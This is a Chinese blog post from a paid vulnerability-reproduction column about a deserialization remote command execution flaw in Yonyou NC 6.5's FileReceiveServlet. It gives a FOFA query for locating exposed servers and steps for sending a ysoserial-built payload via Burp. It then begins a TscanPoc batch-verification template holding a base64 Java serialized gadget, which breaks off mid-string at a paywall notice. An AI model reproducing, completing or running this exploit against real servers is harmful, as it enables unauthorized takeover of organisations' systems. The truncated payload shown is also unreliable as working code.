用友NC_FileReceiveServlet_命令执行（含批量验证poc）

今天晚上早睡觉

已于 2024-04-17 16:16:15 修改

阅读量60

点赞数

分类专栏：漏洞复现文章标签： web安全

于 2024-04-17 16:15:54 首次发布

本文链接：https://blog.csdn.net/weixin_43567873/article/details/137877595

版权

漏洞复现专栏收录该内容

361 篇文章 100 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

漏洞描述

用友nc6.5版本FileReceiveServlet接口存在反序列化命令执行漏洞，通过此漏洞可获取服务器权限。

漏洞复现

fofa语法：title="YONYOUNC"

使用yso生成反序列化数据后构造数据包由burp提交，生成回显判断漏洞是否存在。

TscanPoc

params: []
name: yonyou_NC_FileReceiveServlet_RCE
set:
  poc: base64Decode(b'rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhb

了解本专栏